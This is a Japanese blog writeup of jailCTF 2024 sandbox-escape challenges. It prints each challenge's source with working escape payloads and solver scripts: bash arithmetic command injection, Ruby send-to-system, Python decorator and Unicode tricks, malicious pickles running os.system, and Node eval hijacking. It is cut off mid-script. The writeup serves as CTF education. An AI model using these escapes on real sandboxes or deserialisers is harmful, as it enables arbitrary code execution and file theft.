👮‍♂️

jailCTF 2024 - writeup

2024/09/17に公開

jailCTF楽しかった!なんと9位と国際的な大会で始めて一桁順位とFirst Blood(2 calls)が取れました!

あえて言うならpyjailが多くてjs jailが二問しかなかったのが残念でした。EXECJsで学んだことあんまり活かせず...

✅ blind-calc (103pts 176/715solves クリア率25%)

数式を送ると計算結果が返ってくる

$ nc challs1.pyjail.club 5838

Enter math > 3*3
9

無効な数式を送ると、エラー文が返ってくる。

Enter math > 0/0
./blind.sh: line 3: 0/0: division by 0 (error token is "0")

調べていると、BashのArithmetic Expansionというものらしい。「bash arithmetic expansion jail escape」で調べると、解説記事がヒットする。以下でフラグが得られる。

Enter math > a[$(ls)]
./blind.sh: line 3: blind.sh
flag.txt
run: syntax error: invalid arithmetic operator (error token is ".sh
flag.txt
run")

Enter math > a[$(cat flag.txt)]
./blind.sh: line 3: jail{blind-calc_9c701e8c09f6cc0edd6}: syntax error: invalid arithmetic operator (error token is "{blind-calc_9c701e8c09f6cc0edd6}")

✅ filter'd (125pts 126/715solves クリア率18%)

14文字以下しか実行できないpython sandbox。

#!/usr/local/bin/python3
M = 14  # no malicious code could ever be executed since this limit is so low, right?
def f(code):
    assert len(code) <= M
    assert all(ord(c) < 128 for c in code)
    assert all(q not in code for q in ["exec", 
"eval", "breakpoint", "help", "license", "exit"
, "quit"])
    exec(code, globals())
f(input("> "))

グローバル変数にアクセスできるので、最初に思いついたのはM=99;f(input())だったが、これは15文字である。しかし、この方針で行えないか探ってみる。

結論から言うと、次でフラグが得られる。

> N=input();f(N)
f(input())
M=99;f(N)
print(open('flag.txt').read())
jail{can_you_repeat_that_for_me?_aacb7144d2c}

次のような手順である。

  1. N=input()が実行される。
  2. Nに文字列"f(input())"が代入される
  3. f(N)が実行される。
  4. 文字列"f(input())"がexecされる。
  5. 文字列"M=99;f(N)"がexec開始。
  6. M=99となる
  7. f(N)が実行される
  8. 文字列"f(input())"がexecされる。
  9. M=99の状態で、f(input())が実行できる。

✅ parity 1 (219pts 90/715solves クリア率13%)

偶数番目の文字のordが偶数、奇数番目の文字のordが奇数、といった条件を満たした場合のみ実行できるsandbox。ascii外の文字も使えない。

#!/usr/local/bin/python3
inp = input("> ")

for i, v in enumerate(inp):
    if not (ord(v) < 128 and i % 2 == ord(v) % 2):
        print('bad')
        exit()

eval(inp)

とりあえずfuzzingして使える関数を求める。

for x in dir(__builtins__):
    for i, v in enumerate(x):
        if not (ord(v) < 128 and i % 2 == ord(v) % 2):
            break
    else:
        print(x)

for x in dir(__builtins__):
    for i, v in enumerate(x):
        if not (ord(v) < 128 and i % 2 != ord(v) % 2):
            break
    else:
        print(x)

# 結果
# None
# bin
# dir
# hex
# len
# type
# vars
# zip
# abs
# any
# credits
# eval
# exit
# globals
# id
# iter
# open

evalが利用できるので、後は任意の文字列を生成する方法があわかれば良さそうだ。

ここで、"(34)と'(39)の偶奇が異なることを利用する。文字が奇数ならば"a"、偶数ならば'b'のようにすれば任意の文字を表現できる。 (32)と+(43)を利用することで、"a"+ 'b'のように結合することができる。それを利用したしてソルバーを作成した。

def parseParity(s):
    res = ""
    for i in range(len(s)):
        if ord(s[i]) % 2 == 0:
            res += f" '{s[i]}' +"
        else:
            res += f'"{s[i]}"+'
    return res.strip()[:-1]

payload = "print(open('flag.txt').read())"

inp = f""" eval\t({parseParity(payload)})"""
# for i, v in enumerate(inp):
#     print(i % 2, ord(v) % 2, v, i % 2 == ord(v) % 2 )
print(inp)

これで、python test.py | nc challs2.pyjail.club 7991を実行してフラグを入手した。

✅ parity 2 (758pts 41/715solves クリア率5.7%)

先ほどの問題と同じような条件だが、builtinsが使えなくなっている代わりに、ラムダ関数が一つ使える。また、アンダーバーに対するチェックがなくなっている。

#!/usr/local/bin/python3
inp = input("> ")

f = lambda: None

for i, v in enumerate(inp):
    if v == "_":
        continue
    if not (ord(v) < 128 and i % 2 == ord(v) % 2):
        print('bad')
        exit()

eval(inp, {"__builtins__": None, 'f': f})

とりあえず、またfの要素をfuzzingしよう。

f = lambda: None
for x in dir(f):
    for i, v in enumerate(x):
        if v == '_':
            continue
        if not (ord(v) < 128 and i % 2 == ord(v) % 2):
            break
    else:
        print(x)

for x in dir(f):
    for i, v in enumerate(x):
        if v == '_':
            continue
        if not (ord(v) < 128 and i % 2 != ord(v) % 2):
            break
    else:
        print(x)
# 結果
# __dir__
# __le__
# __ne__
# __globals__
# __gt__
# __init__

f.__globals__が使えるのがありがたい。確認したところ、f.__globals__['__builtins__'].evalが利用できる。あとは、'__builtins__'evalの中身を前の問題と同様に求めればいい。

def parseParity(s):
    parity = 0
    res = ""
    for i in range(len(s)):
        if ord(s[i]) % 2 == 0:
            res += f" '{s[i]}' +"
        else:
            res += f'"{s[i]}"+'
    return res.strip()[:-1]
        

payload = """f.__builtins__["print"](f.__builtins__["open"]("flag.txt").read())"""

inp = f"""f\t.__globals__ [{parseParity('__builtins__')}].eval\t({parseParity(payload)})"""
# for i, v in enumerate(inp):
#     print(i % 2, ord(v) % 2, v, i % 2 == ord(v) % 2 or v == '_')
print(inp)

✅ SUS-Calculator (404pts 66/715solves クリア率9.2%)

rubyで四則演算ができるようなsandbox

#!/usr/local/bin/ruby
class Calc
  def self.+ left, right
    left = left.to_i if left.is_a? String
    right = right.to_i if right.is_a? String

    return left + right
  end
  # 同様のものが- * / %で定義されている。
end

# snap

loop do
  print "> "
  cmd = gets.chomp.split
  # snap 

  left, op, right = cmd
  puts Calc.send(op.to_sym, left, right)
end

この、Calc.sendとはなんだろうか?クラスで定義されていないので、rubyで組み込んであるものだろうと思い調べてみると、クラスからシンボルを利用して任意のメソッドを呼び出すことができるみたいだ。

メソッドではなくグローバル関数で実行したらどうなるのだろう?と思い、ls system -lと実行してみたら、なんとsystem('ls', '-l')が実行できた。正直rubyはそこまで詳しくないので、ちゃんと理由はわかっていない。

SUS Calculator (Super Ultra Safe Calculator)
I heard using eval for these calculator apps is bad, so I made sure to avoid it
Good luck doing anything malicious here >:)

> ls system -l
total 8
-r--r--r-- 1 nobody nogroup   28 Jul  3 02:25 flag.txt
-rwxr-xr-x 1 nobody nogroup 1164 Jul  2 06:11 run
true
> cat system flag.txt
jail{me_when_i_uhhh_escape}
true

✅ no nonsense (709pts 44/715solves クリア率6.1%)

pythonのsandbox。次の条件を満たす必要がある

  • 入力がastによって解釈されたとき、その変数名が元のコードに含まれていない
  • ([=])の文字を含まない。
  • \nを含まない(含むとinputが終了してしまう)
#!/usr/local/bin/python3
from ast import parse, NodeVisitor

inp = input('> ')
if any(c in inp for c in '([=])'):
    print('no.')
    exit()

class NoNonsenseVisitor(NodeVisitor):
    def visit_Name(self, n):
        if n.id in inp:  # surely impossible to get around this since all utf8 chars will be the same between ast.parse and inp, right?
            print('no ' + n.id)
            exit()


NoNonsenseVisitor().visit(parse(inp))

exec(inp)  # management told me they need to use exec and not eval. idk why but they said something about multiline statements? idk

pythonは、全角の英字といったUnicode文字をAscii文字に変換してくれるので、変換後の変数名は元のコードに含まれなくなる。これを利用して最初の条件はクリアできる。

2つ目の条件について、カッコなしでは関数が実行できないように思えるが、クラスのデコレータを利用して関数実行できる。これを利用して、`eval(bytes.fromhex("<ペイロードの16進数>".format(_)))に該当するコードを実行すれば、任意のコードを実行できるようになる。

デコレータを利用すると改行を利用しないといけないので、3つ目の条件を考える必要がでてくる。これも、pythonは\rを改行として扱うが、inputが終了しないことを利用すればよい。

次のソルバーでフラグを入手した。

e = "__import__('os').system('cat flag.txt')"
e = e.encode().hex()

payload = f"""@eval
@bytes.fromhex
@"{e}".format
class _:pass
""".replace("\n", "\r")

print(payload)

こういったテクニック系はここがよくまとまっている。

✅ pickled magic (758pts 41/715solves クリア率5.7%)

pickleを読み込んでくれるが、numpy__を含まない変数しか読み込めないようになっている。

#!/usr/local/bin/python3
# modified from https://github.com/splitline/My-CTF-Challenges/blob/master/hitcon-quals/2022/misc/Picklection/release/share/chal.py
import pickle, numpy, io
from pickle import _getattribute
class RestrictedUnpickler(pickle.Unpickler): 
     def find_class(self, module, name): 
        if module == 'numpy' and '__' not in name:
            return _getattribute(numpy, name)[0]
        raise pickle.UnpicklingError('bad')

data = bytes.fromhex(input("(hex)> "))
print(RestrictedUnpickler(io.BytesIO(data)).load())

pickleは、find_classを使って、find_class('__builtins__', 'eval')のように実行しないとimportできないため、この環境では一般的なbuiltinさえ利用できない。したがって、numpyから有用そうな関数を探す必要がある。

ファイル読み込む系だろうと思って、「numpy ファイル読み取り」とかで検索すると、loadtxtという関数がヒットした。どうやらcsvでないといけないようだが、どうだろうか?

from pickaxe.crafter import Crafter

crafter = Crafter()

crafter.import_from('numpy', 'loadtxt')
crafter.push_str('flag.txt')
crafter.call_f(1)

b = crafter.get_payload(check_stop=True)

print(b.hex())
$ python test.py | nc challs1.pyjail.club 5200

(hex)> ValueError: could not convert string to float: 'jail{idk_about_mag1c_but_this_is_definitely_pickled}'

エラー文にフラグが含まれていた。

ちなみに、pickaxeというツールで生成したが、このくらいであれば、元のpickle.loadでも生成できる

import pickle
class Evil:
    def __reduce__(self):
        from numpy import loadtxt
        return (loadtxt, ('flag.txt',))

pickled = pickle.dumps(Evil())
print(pickled.hex())

✅ jellyjail (1053pts 23/715solves クリア率3.2%)

jellyというesolang(難読プログラミング言語)のsandbox。二文字しか利用できない。

#!/usr/local/bin/python3
# https://github.com/DennisMitchell/jellylanguage/tree/70c9fd93ab009c05dc396f8cc091f72b212fb188
from jellylanguage.jelly.interpreter import jelly_eval

inp = input()[:2]
banned = "0123456789ỌŒƓVС"  # good thing i blocked all ways of getting to python eval !!! yep

if not all([c not in inp for c in banned]):
    print('stop using banned')
    exit()

print(jelly_eval(inp, []))

これはひたすらdocumentationを読んで有用そうな関数を探すしかない。

まずは、二文字ではファイル名さえ入力できないので、追加で文字を入力できるようにしたい。「STDIN」で検索すると、Ɠƈɠが使えるみたいだが、このうち使えるのはɠだけだ。これで、任意の文字列を入力することができる。

次に、実行をしたいので、「eval」で検索してみると、Vvがあるが、使えるのはvだけだ。
したがって、ɠvを入力すると、次の標準入力をjellyコードとして実行してくれる。

先程の検索で、Ɠは標準入力をpythonコードとして実行してくれることはわかっていたので、これをさらに利用して、任意コード実行までできた。

$ nc challs1.pyjail.club 5999
ɠv
Ɠ
print(open('flag.txt').read())
jail{jelllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllly_c3056822a950d0}

✅ get and call (1068pts 22/715solves クリア率3.1%)

0から始まり、getattrと引数なしの関数呼び出しのチェーンのみでファイル読み込みができるか、というチャレンジ。

#!/usr/local/bin/python3
import sys
print(sys.version)
obj = 0
while True:
    print(f'obj: {obj}')
    print('1. get attribute')
    print('2. call method')
    print(type(obj))
    print(dir(obj))
    inp = input("choose > ")
    if inp == '1':
        obj = getattr(obj, input('attr > '), None)
        if obj == None:
            print("not found")
            exit(1)
    if inp == '2':
        obj = obj()
# note: i highly recommend using either the dockerfile or exploring attributes on remote with attribute __dir__. this challenge may function much differently on your local python environment!!!!

まずはどうにかして__builtins__にたどり付きたい。pythonコードで定義された関数は、内部プロパティとして__builtins__をもっていることが多いが、リスト型などCで定義されたクラスのメソッドはそれを持っていない。int型のプロパティやメソッドはいずれもCで定義されたものだらけなので、できたら別のモジュールを参照したい。

とりあえず、いままでの経験から、(0).__dir__.__class__.__subclasses__()でサブクラスの一覧を見てみる。リストからはlst.__iter__().__next__()で最初の要素を手に入れるか、lst.__reversed__().__next__()で最後の要素を手に入れるかの二択である。

この環境では最初のモジュールはtype、最後は_distutils_hack.shimであった。_distutils_hack.shimの要素をdirを使いながら見ていると、shim.__enter____builtins__が内部プロパティとして定義されていた。

次に、__builtins__からファイルの読み取りにつなげる方法だが、引数が必要な__import__openは利用できない。helpbreakpointを利用したいが、幸いなことにhelp__builtin__の最後の要素であるので、__builtins__.values().__reversed__().__next__()で取得できる。

help関数を引数なしで実行するとlessが起動することによる任意コード実行ができるだろうと思い試してみるが、lessがインストールされていないためうまくいかない。breakpointを取得する必要がありそうだ。

ここで、__builtins__に対してpopitemを繰り返せば、そのうちbreakpointを取得できるのでは?と考えたが、その前にprintpopitemしてしまい、実行環境がprintできずにエラーで終了してしまう。

一歩戻って、helpに有用な変数が定義されていないか再度確認したところ、なんと、__globals__sysが定義されていた。sys.breakpointhookbreakpointと同様の動きをするので、これが利用できそうだ。sys__globals__の最初か最後の要素ではないが、これは先程のpopitemのテクニックを利用することで取得できる。

breakpointhookが実行できたら、その環境で任意のコードが実行できた。

以下がソルバーとなる。

from pwn import *

REMOTE = True
DEBUG = False
def get(io, b):
    print(f"----- get {b} -------")
    io.readline()
    io.readline()
    if DEBUG: 
        print(io.readline().decode())
        print(io.readline().decode())
    io.sendlineafter(b"choose >", b"1")
    io.sendlineafter(b"attr >", b.encode())
    res = io.readline().decode()
    print(res)
    return res

def call(io, b):
    get(io, b)
    print(f"----- call -------")
    io.readline()
    if DEBUG:
        print(io.readline().decode())
        print(io.readline().decode())
    io.sendlineafter(b"choose >", b"2")
    res = io.readline().decode()
    print(res)
    return res.split("obj: ",maxsplit=2)[1]

io = remote("challs3.pyjail.club", 8899) if REMOTE else remote("localhost", 5000)
print(io.readline().decode())

call(io, "__dir__")
get(io, "__class__")
get(io, "__base__")
call(io, "__subclasses__")
while True:
    get(io, "__class__")
    get(io, "__base__")
    call(io, "__subclasses__")
    call(io, "pop")
    get(io, "__enter__")
    get(io, "__builtins__")
    call(io, "values")
    call(io, "__reversed__")
    call(io, "__next__") # help
    get(io, "__repr__")
    get(io, "__globals__")
    r = call(io, "popitem")
    if 'Quitter' in r:
        break
get(io, "__class__")
get(io, "__base__")
call(io, "__subclasses__")
call(io, "pop")
get(io, "__enter__")
get(io, "__builtins__")
call(io, "values")
call(io, "__reversed__")
call(io, "__next__") # help
get(io, "__repr__")
get(io, "__globals__")
call(io, "values")
call(io, "__reversed__")
call(io, "__next__") # sys
get(io, "breakpointhook") 
io.sendlineafter(b"choose >", b"2")
io.sendlineafter(b"(Pdb)", b"open('flag.txt').read()")

✅ lost in transit (1126pts 18/715solves クリア率2.5%)

次のことをする。

  1. 入力から任意の整数を受け取る
  2. (整数,フラグ)となるタプルをpickle.dumpsする
  3. pickleのバイナリのうちの1バイト指定する
  4. 指定された1バイトを1だけインクリメントする
  5. 変更されたpickleをloadsし、タプルの最初の要素を表示する。
#!/usr/local/bin/python3

import pickle
from io import BytesIO
from ast import literal_eval

user_data = int(input('favorite number > '))
flag = open('flag.txt').read().strip()
dumped = pickle.dumps((user_data, flag))

assert len(flag) == 79, len(flag)

dumped = bytearray(dumped)
dumped[int(input('radiation alert! > ')) % len(dumped)] += 1
dumped = bytes(dumped)

class ActuallySecureUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        return 'no'

info, _ = ActuallySecureUnpickler(BytesIO(dumped)).load()
print(f'here is your info: {info}, {_}')

pickleの内部を説明すると、<命令バイト><使用するバイト列>という構成であり、「この命令で使用するバイト列」の長さは命令バイトによって決定する場合と、<命令バイト><バイト列の長さ><使用するバイト列>という構成になっている場合がある。

ここで、命令バイトを1インクリメントすることにより、使用するバイト列の長さが異なる命令にすることができないだろうか。

ソースコードを確認すると、int型の固定値を定義する命令はいくつかあるが、1インクリメントすると使用するバイト列が短くなる命令にLONG4があった。これはインクリメントすると、SHORT_BINUNICODEという短い文字列として扱うことになるので、データがエラーになりにくそうで良さそうだ。

LONG4の仕様は次の通り。(リトルエンディアンであることに注意する)

  バイト列の長さ
   -----------
8B 00 01 00 00 00 00 00 ...
--                ------------
命令               整数

SHORT_BINUNICODEの仕様は次の通り。

  バイト列の長さ
   --
8C 03 70 6F 67
--    --------
命令    文字列

次のように変換することにより、任意の数のバイトを読み飛ばすことができる。

変換前

  長さ
   -----------
8B 03 01 00 00 8B 4E 01 00 00 ... 
--             ------------
命令            整数

変換後

  長さ        命令            数値
   --          --             ----------
8C 03 01 00 00 8B 00 01 00 00 00 00 00 ......
--    --------    -----------
命令   文字列       バイト列の長さ

次に、どこまで読み飛ばせば、「タプルの1つ目の値がフラグである」という状態になるだろうか。一度変換前のpickleをpickletoolsを利用してディスアセンブルしてみよう。

    0: \x80 PROTO      4
    2: \x95 FRAME      349
   11: \x8b LONG4      2117927309889438174459650158668673971679664712562473961529694317938255799180846097576571791705565656756303820286977508605566619428486573004887697154798274682593665179143438079868940959769536240470986433389138252154587854840962728339822221350566374307960038742559051287290680173628035288832904554028985901745564177753025304488882010507612295626414894352651145842398187071689918132565341655148151347141946711521751440013293116283787565541117240665991000726780856711985700908873208313264547895818776171214908852966565917355871174476978782118754092657304498165222185509547752135370035591813854143984012876422254401698572271755
  275: \x8c SHORT_BINUNICODE 'jail{the flag will be here on remote!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!}'
  356: \x94 MEMOIZE    (as 0)
  357: \x86 TUPLE2
  358: \x94 MEMOIZE    (as 1)
  359: .    STOP
highest protocol among opcodes = 4

pickleはスタック型のメモリをもっており、TUPLE2という命令でスタックの上の2つの要素をPOPして、タプルにしてPUSHする、という動作をしている。また、全体の結果はスタックの一番上の要素になることにも注意が必要だ。

ソースコードを読むと、}EMPTY_DICTという命令であることがわかった。これは、空のdictをPUSHする命令だ。}の直前までを整数として扱うことによって、スタックトップはその数値と空のdictとなり、無事タプルの最初の要素がフラグ(をバイト列にしたものを含む整数)となった。

import pickle


user_data = (1 << (0x0102)*8)
user_data += pickle.LONG4[0]
user_data += (0x014e) << 8

flag = open('flag.txt').read().strip()
dumped = list(pickle.dumps((user_data, flag)))
idx = dumped.index(0x8b)

# dumped[idx] += 1
# print(pickle.loads(bytes(dumped)))
# open('a.pkl', "wb").write(bytes(dumped))

print(user_data)
print(idx)
$ python test.py | nc challs2.pyjail.club 7796
favorite number > radiation alert! > here is your info: 1023240506717873605029270795561647615120101861741024622778427805206231452847421919983014957906133476938345756257986434977982598062861815204064877714633426280539274230295984631346857270108130878270619106265369634376584260456693623315340051904217507837798517797712071393516527025703377099281206246419831485050933997406163378052207882745183259164227084919492610721859967998321229477916271377642912410509021761945294921537005005479943075816574054885769530520901156627610180677750965996260397047836036526347991190798749885123032437982637393762386616668046036904919159821495137129218347442026569407308173573673861937126158396448246490778957880530060001884219937955393452021522657698809927910889084329304517490599852232070098611496985716412778179826087537926829588025246183642271800096501696274522855851727781888

$ python -c "from Crypto.Util.number import long_to_bytes;print(bytes(reversed(long_to_bytes(1023240506717873605029270795561647615120101861741024622778427805206231452847421919983014957906133476938345756257986434977982598062861815204064877714633426280539274230295984631346857270108130878270619106265369634376584260456693623315340051904217507837798517797712071393516527025703377099281206246419831485050933997406163378052207882745183259164227084919492610721859967998321229477916271377642912410509021761945294921537005005479943075816574054885769530520901156627610180677750965996260397047836036526347991190798749885123032437982637393762386616668046036904919159821495137129218347442026569407308173573673861937126158396448246490778957880530060001884219937955393452021522657698809927910889084329304517490599852232070098611496985716412778179826087537926829588025246183642271800096501696274522855851727781888))))"
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x8cOjail{they_talk_about_integer_overflow_but_i_dont_think_this_is_what_they_meant'

✅ smiley-faiss (1243pts 9/715solves クリア率1.3%)

pickleを読み込むが、find_classは"安全なnumpy"しか読み込むことができない。

#!/usr/local/bin/python3
# slightly modified. original at https://github.com/facebookresearch/faiss/blob/main/contrib/rpc.py
import pickle
from io import BytesIO
import importlib

safe_modules = {
    'numpy',
    'numpy.core.multiarray',
}


class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        # Only allow safe modules.
        if "save" in name or "load" in name:
            return
        if module in safe_modules:
             import safernumpy
             import safernumpy.core.multiarray
             return getattr({"numpy": safernumpy, "numpy.core.multiarray": safernumpy.core.multiarray}[module], name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))

if __name__ == "__main__":
    #RestrictedUnpickler(BytesIO().load()
    RestrictedUnpickler(BytesIO(bytes.fromhex(input(">")))).load()

"安全なnumpy"は実際は中身がない。

safernumpy/__init__.py
import safernumpy.core
# cant have vulnerabilities in functions if there are no functions to begin with!
safernumpy/core/__init__.py
import safernumpy.core.multiarray
# nuh uh
safernumpy/core/multiarray/__init__.py
# same goes here lol

dirで要素を確認していると、numpy.__builtins__というプロパティが存在することがわかった。ただし、from numpy import __builtins__は可能だが__builtins__.execは、内部的にはfrom __builtins__ import getattr;getattr(__builtins__, 'exec')となるため、getattrが取得できずにエラーになってしまう。

さらにnumpy.safernumpyによって、自身を取得することができることもわかった。

pickleにはBUILDという命令があり、これは1つ目のオブジェクトの要素を2つ目のオブジェクトにコピーするというものだ。これを利用して、safernumpy__builtins__の要素を全てコピーする。すると、from numpy import execが可能となる。

以下がそれを利用したソルバー

from pickaxe.crafter import Crafter
import pickle

crafter = Crafter()

crafter.import_from("numpy", "safernumpy")
crafter.import_from("numpy", "__builtins__")
crafter.add_payload(pickle.BUILD)
crafter.import_from("numpy", "exec")
crafter.push_str("__import__('os').system('cat flag.txt')")
crafter.call_f(1)

b = crafter.get_payload(check_stop=True)

print(b.hex())

✅ js-without-getattr (1266pts 7/715solves クリア率0.98%)

nodeのsandbox。次の条件を満たす必要がある。

  1. 長さ480文字以下
  2. <.;,;.>:[\x09\x0a\x0b\x0c\x0d]`upxq"\\x20の文字を含まない
  3. Esprimaでパースした結果に使えない文字列や表現がある。以下は特に注目すべき使えない表現
    • VariableDeclaration - 変数宣言
    • CallExpression - 関数呼び出し
    • MemberExpression - 'a.b'のような形式のメンバ呼び出し
    • ArrayExpression - 'a[b]'のような形式のメンバ呼び出し
#!/usr/local/bin/node
const readline = require('node:readline');
const rl = readline.createInterface({input: process.stdin, output: process.stdout});
const {parseScript} = require('esprima');

rl.question('can you js without getattr? > ', (inp) => {
    // length filter
    if (inp.length > 480) {
        console.log('fails length filter');
        rl.close();
        return;
    }

    // char filter
    const banned = new Set("<.;,;.>:`[\x09\x0a\x0b\x0c\x0d]`upxq\"\\\x20");  // partially stolen from caasio ce from angstromctf 2024
    for (const char of inp) {
        const c = char.charCodeAt(0);
        if (c < 0x20 || c > 0x7e || banned.has(char)) {
            console.log("fails char filter (" + char + ')');
            rl.close()
            return;
        }
    }

    // tree filter
    let parsed = parseScript(inp);
    let visit = ((n) => {
        if (typeof n === 'string') {
            if (['VariableDeclaration', 'SpreadElement',
                 'NewExpression', 'CallExpression',  
                'Proxy', '__defineGetter__', '__proto__',
                'Property', 'MemberExpression', 'Property',
                'ArrayExpression', 'instanceof'].includes(n)) {
                console.log('fails tree filter');
                console.log(n); 
                throw new Error();
            };
        }
        if (n instanceof Object) {
            for (let k of Object.getOwnPropertyNames(n)) {
                visit(n[k]);
            }
        }
    });
    try {
        visit(parsed);
    } catch { 
        rl.close(); 
        return; 
    }

    // safety
    delete parsed;
    delete parseScript;
    delete debug;
    delete banned;
    delete visit;
    delete readline;
    delete fetch;
    delete Symbol;

    // send it
    let res = eval(inp);
    console.log(res)

    rl.close();
});

まず問題にもある通り、メンバにアクセスする方法のconsole.logconsole['log']console.get('log')のいずれも禁止されてしまっているのが難しい。逆にどのような表現が許可されているのかを一覧を見て確認すると、WithStatementというものが許可されていた。with文は、with(console){log}のような形式で要素にアクセスする方法だ。これで要素にアクセスする方法がわかった。

次に、関数呼び出しの形式を取らずにファイル読み込みを行う方法を考える。コード内で関数が呼び出せないのであれば、evalの外で呼び出される関数を利用しよう。evalのすぐ後にconsole.logが呼ばれているので、console.logevalに置き換えることで任意コード実行が可能になる。

次に禁止文字の回避を行う。;,が利用できないので、複数の文が実行しにくいが、(console.log=eval)&&(a='foobar')のように&&で結合することによって複数の文を記載できる。また、evalに渡す文字列については、base64に変換した上でatobでえ元に戻そう。base64で出現する文字列のうち、「upxq」が禁止されているが、そこはスペースいれたり文字列を区切ったりすることでどうにか回避することができる。

最後に、evalで実行する内容だが、直接requireを利用することはできない。これはprocess.mainModule.requireで代替できるので、fsモジュールを利用してファイルを読み込める。

以下がソルバー

let payload = ` console .  info(process["mai"+ "nModule"]. require('fs' )["readF"+  "ileSync"](  'flag.txt' )["toStr"+ "ing"]())`;
payload = btoa(payload)
const inp = `with(console){(log=eval)&&(a='${payload}')&&'eval(atob(a))'}`
console.log(inp)
多分これが一番短いと思います
with(console)(k=dir)+(log=e=eval)+(a='aW1wb3J0KCdmcycgKS4gdGhlbihkPT5rKGQgLiByZWFkRmlsZVN5bmMoICdmbGFnLnR4dCcgKSsnJykgKQ')&&'e(atob(a))'

136文字

✅ 2 calls (1288pts 5/715solves クリア率0.70%)

First blood🩸とれました!やったね!

nodeのsandbox。()が一回ずつと![]+しか使えない。いわゆるJSFuckのさらに制限が強いバージョン。

#!/usr/local/bin/node
const readline = require('node:readline');
const rl = readline.createInterface({input: process.stdin, output: process.stdout});

console.log("2call 2call.");
rl.question('code > ', (answer) => {
    let parenCount = 0;
    for (let c of answer) {
        if ("()".includes(c)) {
            if (++parenCount > 2) {
                console.log("too many");
                rl.close();
                return;
            }
            continue;
        }
        if (!"![]+".includes(c)) {
            console.log("no not that");
            rl.close();
            return;
        }
    }

    // console.log(eval(answer).toString());
    console.log(Object.values(process)[78].constructor._load)
    console.log(eval(answer)());
    console.log('the code ran');
    rl.close();
});

JSFuckのコードの解説は、Qiita記事が詳しいので、詳細は省く。

まず、暗黙の型変換を利用して使える文字を集めていく。通常のJSFuckならば、t

(true+[])[0] // ('true')[0]

で取得するが、括弧が使えないので次のように取得する。

[true+[]][0][0] // ['true'][0][0]

これで、aAbcdefFgilmNnorSstu (){}[]0123456789.+が取得できた。

通常のJSfuckであれば、ここから[]['at']['constructor'](<任意コード>)()を利用して使える文字列を増やしていくが、今回はそれが一回しか行えない。ここまで入手した文字列のみを使って、任意コードを表す文字列を生成したい。

この文字列を生成するコードでは括弧がもう使えないので、[]['at']['constructor']('Function(<ペイロード>)()')()のような形式にする(evalではないのは、まだvがつかえないから)

このレイヤーでは、かなりたくさんの文字列を使うことができる。特に、(数字).toString(36)から、小文字+数字を表現できることや()が自由に使えることに注目する。ただし、大文字はまだ制限がある(と見せかけてatobを使えば表現できることに後で気がついた)。

js-without-getattrと同様にprocess.mainModule.require('fs')を利用したいが、Mが利用できない。Object.values(process)とすれば、mainModuleを指すindexは常に一定なので、Object.keys(process)を一度評価して見て、indexを探る。

後は、fs.readDirSync('..')してからfs.readFileSync('../flag-....txt')を読めば良い。実は、フラグが一個前のディレクトリにあることに、直前まで気づいていなかった。/はまだ入手しておらず、かなり詳しい全部の文字の列挙方法を見ても、/が遠いことがわかる。(RangeError発生→RegExp()評価といった手順)。面倒になったので、実行ファイルにスラッシュが含まれることを利用して、fs.readFileSync('run').toString[2]の形で、ファイルからスラッシュを取ってきた。(別にprocess.argvとか、いろいろ方法はありそう。)

以下のようなソルバーになった。


const letters = {
    "a": "[![]+[]][+[]][+!![]]",
    "A": "[[][[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]]+[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]+!![]+!![]+!![]]+[[][[]]+[]][+[]][+!![]]+[![]+[]][+[]][+!![]+!![]+!![]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!![]]+[!![]+[]][+[]][+!![]+!![]]+[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]]+[!![]+[]][+[]][+[]]+[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]+!![]+!![]+!![]]+[!![]+[]][+[]][+!![]]]+[]][+[]][!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]",
